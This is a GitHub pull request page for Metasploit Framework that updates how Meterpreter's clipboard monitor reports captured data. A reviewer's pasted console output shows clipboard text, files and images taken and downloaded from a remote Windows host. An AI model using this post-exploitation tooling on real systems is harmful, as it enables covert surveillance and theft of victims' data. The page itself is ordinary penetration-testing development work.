Modify clipboard dump to support new format from Meterpreter #3061

Merged
merged 1 commit into from Mar 19, 2014

Conversation

Projects
None yet
2 participants
Contributor

OJ commented Mar 4, 2014

This is a minor update to the protocol that is used for shifting file details from Meterpreter to MSF. This PR relies on this Meterpreter PR: rapid7/meterpreter#75

@todb-r7 todb-r7 added a commit to todb-r7/metasploit-framework that referenced this pull request Mar 19, 2014

@todb-r7 todb-r7 Land #3061, enhance clipboard dump
This depends on rapid7/meterpreter#75 to function
04b5d71

todb-r7 referenced this pull request Mar 19, 2014

Merged

Pull request collection from @OJ #3122

9 of 10 tasks complete
Contributor

todb-r7 commented Mar 19, 2014

This looks good:

meterpreter > clipboard_monitor_dump 
Text captured at 2014-03-19 15:30:13.0352
=========================================
Hello from the clipboard!

=========================================

[+] Clipboard monitor dumped
meterpreter > clipboard_monitor_dump 
[+] Clipboard monitor dumped
meterpreter > clipboard_monitor_dump 
Files captured at 2014-03-19 15:30:39.0759
==========================================
Remote Path : C:\windows\system32\calc.exe
File size   : 55170194946916352 bytes
downloading : C:\windows\system32\calc.exe -> ./calc.exe
downloaded  : C:\windows\system32\calc.exe -> ./calc.exe

==========================================

[+] Clipboard monitor dumped
meterpreter > clipboard_monitor_dump 
Files captured at 2014-03-19 15:32:12.0915
==========================================
Remote Path : such-coin.jpg
File size   : 0 bytes
[-] stdapi_fs_stat: Operation failed: The system cannot find the file specified.
meterpreter > clipboard_monitor_dump 
Files captured at 2014-03-19 15:32:30.0884
==========================================
Remote Path : C:\DOCUME~1\ADMINI~1\LOCALS~1\Temp\such-coin.jpg
File size   : 14162976403150077952 bytes
downloading : C:\DOCUME~1\ADMINI~1\LOCALS~1\Temp\such-coin.jpg -> ./such-coin.jpg
downloaded  : C:\DOCUME~1\ADMINI~1\LOCALS~1\Temp\such-coin.jpg -> ./such-coin.jpg

==========================================

[+] Clipboard monitor dumped
meterpreter > clipboard_monitor_dump 
Image captured at 2014-03-19 15:32:53.0524
==========================================
Dimensions : 500 x 375
Downloaded : /home/todb/git/rapid7/metasploit-framework/201403191532530524-ggxyYnZE.jpg
==========================================

[+] Clipboard monitor dumped

Contributor

todb-r7 commented Mar 19, 2014

Verified as far as #3122 is concerned.

@todb-r7 todb-r7 added a commit that referenced this pull request Mar 19, 2014

@todb-r7 todb-r7 Land #3122, lots of Meterpreter updates
This lands the binaries built from Meterpreter as of:

rapid7/meterpreter#80 , also known as

commit 5addac75741fadfff35f4f7839cee6fd69705455

as well as the functional changes in:

rapid7/metasploit-framework#2782
rapid7/metasploit-framework#2889
rapid7/metasploit-framework#3061
rapid7/metasploit-framework#3085
c1cbeff

todb-r7 merged commit 0bdce48 into rapid7:master Mar 19, 2014

1 check passed

default The Travis CI build passed
Details

OJ deleted the OJ:clipboard-protocol-update branch Mar 19, 2014

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment